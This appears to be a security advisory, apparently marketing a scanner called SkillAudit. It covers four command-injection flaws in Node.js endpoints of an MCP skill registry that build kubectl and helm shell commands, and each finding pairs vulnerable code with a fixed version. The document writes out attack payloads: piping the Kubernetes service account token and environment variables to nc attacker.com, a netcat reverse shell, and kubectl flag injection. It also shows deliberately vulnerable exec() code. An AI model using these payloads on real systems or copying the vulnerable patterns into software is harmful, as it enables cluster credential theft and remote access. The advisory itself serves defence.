Claude MCP skill code injection — skill container orchestration and Kubernetes deployment endpoints — SA-SKL-INJECTION54
SA-SKL-INJECTION54 documents four code injection vulnerabilities in MCP skill registry container orchestration and Kubernetes deployment endpoints. INJECTION54-001: exec(`kubectl apply -f ${manifestPath}`) — attacker manifestPath with ; cat /var/run/secrets/kubernetes.io/serviceaccount/token exfiltrates Kubernetes service account token with cluster API access; INJECTION54-002: exec(`helm install ${releaseName} ${chartPath}`) — attacker releaseName with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from registry server; INJECTION54-003: exec(`kubectl delete deployment ${deploymentName} -n ${namespace}`) — attacker namespace with ; printenv exfiltrates all env vars including KUBECONFIG and cloud provider credentials; INJECTION54-004: exec(`kubectl set image deployment/${deploymentName} ${containerName}=${imageRef}`) — attacker imageRef with space-injected --record flag enables Kubernetes audit annotation injection overwriting legitimate deployment records.
exec(`kubectl apply -f ${manifestPath}`) — attacker manifestPath with ; cat /var/run/secrets/kubernetes.io/serviceaccount/token | nc attacker.com 9000 exfiltrates Kubernetes service account token; fix: execFile() array; validate manifestPath from server-side allowlist Map keyed on client-supplied name string; realpathSync containmentexec(`helm install ${releaseName} ${chartPath}`) — attacker releaseName with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate releaseName against /^[a-z0-9-]{1,53}$/; realpathSync containment for chartPathexec(`kubectl delete deployment ${deploymentName} -n ${namespace}`) — attacker namespace with ; printenv exfiltrates all env vars including KUBECONFIG and cloud provider credentials; fix: execFile() array; validate deploymentName and namespace against /^[a-z0-9-]{1,63}$/exec(`kubectl set image deployment/${deploymentName} ${containerName}=${imageRef}`) — attacker imageRef with space-injected --record flag enables Kubernetes audit annotation injection overwriting legitimate deployment records; fix: execFile() array; validate imageRef against digest-pinned pattern; containerName from server-side allowlistINJECTION54-001 — Command injection via kubectl apply exfiltrates Kubernetes service account token
Severity: CRITICAL
The skill deployment endpoint constructs a shell command string by interpolating the user-supplied manifestPath directly into a exec() call. Node.js exec() spawns a shell to interpret the command string, which means shell metacharacters in the interpolated value are interpreted as shell syntax. An attacker submitting ; cat /var/run/secrets/kubernetes.io/serviceaccount/token | nc attacker.com 9000 as the manifestPath causes the shell to execute the kubectl apply command (which may fail), followed by the injected commands that read and exfiltrate the Kubernetes service account token mounted in the registry pod.
The Kubernetes service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token is a JWT that authenticates the registry pod to the Kubernetes API server. Registry service accounts commonly have permissions to list pods, read secrets in their namespace, and manage deployments — permissions that enable further lateral movement within the cluster. The token is long-lived (default 1 year for static tokens; shorter for projected tokens but still valid for the duration of the attack window). An attacker who exfiltrates this token can interact with the cluster API from any machine that can reach the API server.
app.post('/api/skills/:id/deploy/apply', requireSession, async (req, res) => {
const { manifestPath } = req.body;
// manifestPath = '; cat /var/run/secrets/kubernetes.io/serviceaccount/token | nc attacker.com 9000'
exec(`kubectl apply -f ${manifestPath}`, (err, stdout) => {
res.json({ applied: !err, output: stdout });
});
});
const MANIFEST_ALLOWLIST = new Map([
['skill-deployment', '/app/manifests/skill-deployment.yaml'],
['skill-service', '/app/manifests/skill-service.yaml'],
['skill-ingress', '/app/manifests/skill-ingress.yaml'],
]);
app.post('/api/skills/:id/deploy/apply', requireSession, async (req, res) => {
const resolved = MANIFEST_ALLOWLIST.get(req.body.manifestName);
if (!resolved) return res.status(400).json({ error: 'Unknown manifest' });
const safe = realpathSync(resolved);
if (!safe.startsWith('/app/manifests/')) throw new Error('Path traversal blocked');
execFile('kubectl', ['apply', '-f', safe], (err, stdout) => {
res.json({ applied: !err });
});
});
The fix uses execFile() with an argument array, which bypasses the shell entirely — the arguments are passed directly to the kubectl process without shell interpretation, making shell metacharacter injection impossible. The client-supplied value is treated as a lookup key into a server-side allowlist Map; the actual file path is never derived from user input. The realpathSync call resolves symbolic links and normalizes the path, then verifies the result is within the expected directory to prevent path traversal attacks. The output field is omitted from the response to prevent stdout-based data exfiltration.
INJECTION54-002 — Command injection via helm install establishes reverse shell
Severity: CRITICAL
The Helm chart deployment endpoint interpolates both releaseName and chartPath from the request body into a exec() shell command string. An attacker supplying releaseName: "x; nc attacker.com 4444 -e /bin/sh" causes the shell to execute the Helm install command (with an invalid release name that may fail), followed by the injected netcat command that opens a reverse shell from the registry server to the attacker's listener. The registry server process has access to all environment variables, the filesystem, and internal network services reachable from the pod.
Reverse shells established from registry server processes are particularly valuable because the registry typically runs in a trusted network segment with access to internal artifact storage, database connections, and other microservices. The -e /bin/sh netcat flag provides a fully interactive shell session, enabling the attacker to explore the environment, read credentials from environment variables and mounted secrets, and pivot to other internal services. The shell session persists until the netcat process is killed or the pod restarts.
app.post('/api/skills/:id/deploy/helm', requireSession, async (req, res) => {
const { releaseName, chartPath } = req.body;
// releaseName = 'x; nc attacker.com 4444 -e /bin/sh'
exec(`helm install ${releaseName} ${chartPath}`, (err, stdout) => {
res.json({ installed: !err, output: stdout });
});
});
app.post('/api/skills/:id/deploy/helm', requireSession, async (req, res) => {
const { releaseName, chartName } = req.body;
if (!/^[a-z0-9-]{1,53}$/.test(releaseName)) return res.status(400).json({ error: 'Invalid release name' });
const chartPath = realpathSync(`/app/charts/${chartName}`);
if (!chartPath.startsWith('/app/charts/')) throw new Error('Path traversal blocked');
execFile('helm', ['install', releaseName, chartPath], (err) => {
res.json({ installed: !err });
});
});
The fix validates releaseName against a strict regex pattern that permits only lowercase alphanumeric characters and hyphens, matching Helm's own release name validation rules. The client supplies a chart name rather than a chart path; the actual path is constructed server-side by prepending the charts directory root, then verified with realpathSync and a prefix check. Using execFile() with an argument array ensures that even if validation were bypassed, shell metacharacters in any argument would be passed literally to Helm rather than interpreted by a shell.
INJECTION54-003 — Namespace injection via kubectl delete exfiltrates cloud provider credentials
Severity: CRITICAL
The deployment deletion endpoint reads the namespace value from the query string and interpolates it directly into a exec() shell command string alongside the deploymentName path parameter. An attacker submitting namespace=default; printenv | nc attacker.com 9000 causes the shell to execute the kubectl delete command followed by the injected printenv command that dumps all environment variables to the attacker's server. Registry processes typically have cloud provider credentials in environment variables — AWS access keys, GCP service account JSON paths, or Azure client secrets — alongside database connection strings and internal API tokens.
Environment variable exfiltration is a high-value initial access vector because cloud provider credentials in environment variables are often long-lived and carry broad permissions. Unlike the Kubernetes service account token (which authenticates to the cluster API), environment-variable cloud credentials often authenticate to the cloud control plane — enabling an attacker to list and modify cloud resources, read from secret managers, and access other cloud services used by the registry. The injection is particularly easy to exploit because query string parameters are URL-encoded and the semicolon character is not percent-encoded by default in many HTTP client libraries.
app.delete('/api/skills/:id/deploy/:deploymentName', requireSession, async (req, res) => {
const { namespace } = req.query;
// namespace = 'default; printenv | nc attacker.com 9000'
exec(`kubectl delete deployment ${req.params.deploymentName} -n ${namespace}`, (err) => {
res.json({ deleted: !err });
});
});
app.delete('/api/skills/:id/deploy/:deploymentName', requireSession, async (req, res) => {
const { deploymentName } = req.params;
const { namespace } = req.query;
if (!/^[a-z0-9-]{1,63}$/.test(deploymentName)) return res.status(400).json({ error: 'Invalid deployment name' });
if (!/^[a-z0-9-]{1,63}$/.test(namespace)) return res.status(400).json({ error: 'Invalid namespace' });
execFile('kubectl', ['delete', 'deployment', deploymentName, '-n', namespace], (err) => {
res.json({ deleted: !err });
});
});
The fix validates both deploymentName and namespace against a regex matching the Kubernetes naming rules for these fields — lowercase alphanumeric characters and hyphens only, 1–63 characters. These patterns structurally exclude all shell metacharacters including semicolons, pipes, backticks, dollar signs, and spaces. The execFile() call with an argument array provides defence-in-depth: even a value that passed the regex check cannot cause shell injection because there is no shell to interpret metacharacters.
INJECTION54-004 — imageRef flag injection via kubectl set image overwrites Kubernetes audit annotations
Severity: HIGH
The image update endpoint interpolates the user-supplied imageRef value into a exec() shell command string that invokes kubectl set image. An attacker supplying imageRef: "nginx:latest --record" causes the shell to pass --record as a flag to kubectl rather than as part of the image reference. The --record flag causes kubectl to annotate the deployment with the full command string as a change cause in the deployment's revision history — which now contains the attacker-controlled imageRef value. This enables overwriting legitimate deployment records with attacker-controlled content that appears in Kubernetes audit trails and deployment history.
Flag injection via space-delimited interpolation is a subtler attack than command injection via semicolons — the injected content modifies the behavior of the legitimate command rather than appending a new command. Beyond the --record annotation injection demonstrated here, an attacker could inject flags such as --dry-run=client (preventing the actual image update while appearing to succeed), --overwrite combined with annotation manipulation, or other kubectl flags that alter the semantics of the operation in ways that may not trigger monitoring alerts. Using floating image tags like nginx:latest rather than digest-pinned references also introduces supply chain risk independent of the injection vulnerability.
app.patch('/api/skills/:id/deploy/image', requireSession, async (req, res) => {
const { deploymentName, containerName, imageRef } = req.body;
// imageRef = 'nginx:latest --record' injects --record flag
exec(`kubectl set image deployment/${deploymentName} ${containerName}=${imageRef}`, (err) => {
res.json({ updated: !err });
});
});
const CONTAINER_ALLOWLIST = new Set(['app', 'sidecar', 'init-container']);
app.patch('/api/skills/:id/deploy/image', requireSession, async (req, res) => {
const { deploymentName, containerName, imageRef } = req.body;
if (!/^[a-z0-9-]{1,63}$/.test(deploymentName)) return res.status(400).json({ error: 'Invalid deployment name' });
if (!CONTAINER_ALLOWLIST.has(containerName)) return res.status(400).json({ error: 'Unknown container' });
// require digest-pinned image reference — no floating tags, no injected flags
if (!/^[a-z0-9.\-\/]+@sha256:[a-f0-9]{64}$/.test(imageRef)) return res.status(400).json({ error: 'Image must be digest-pinned' });
execFile('kubectl', ['set', 'image', `deployment/${deploymentName}`, `${containerName}=${imageRef}`], (err) => {
res.json({ updated: !err });
});
});
The fix requires imageRef to match a digest-pinned image reference pattern — registry/image@sha256:hexdigest. This pattern structurally excludes spaces (which are required for flag injection), floating tags that introduce supply chain risk, and all shell metacharacters. The containerName is validated against a server-side allowlist of known container names rather than a regex, ensuring only expected containers can be updated. The execFile() call with an argument array means that even if a value passed validation, it would be passed as a single argument token to kubectl rather than parsed for flags — the = separator between container name and image reference is part of the same argument string and cannot be split by injected spaces when passed via execFile.
Run SkillAudit to detect exec() with interpolated user input, missing execFile() argument array patterns, absent input validation on deployment name and namespace fields, and floating image tag references in your MCP skill registry container orchestration endpoints. Join the waitlist for access.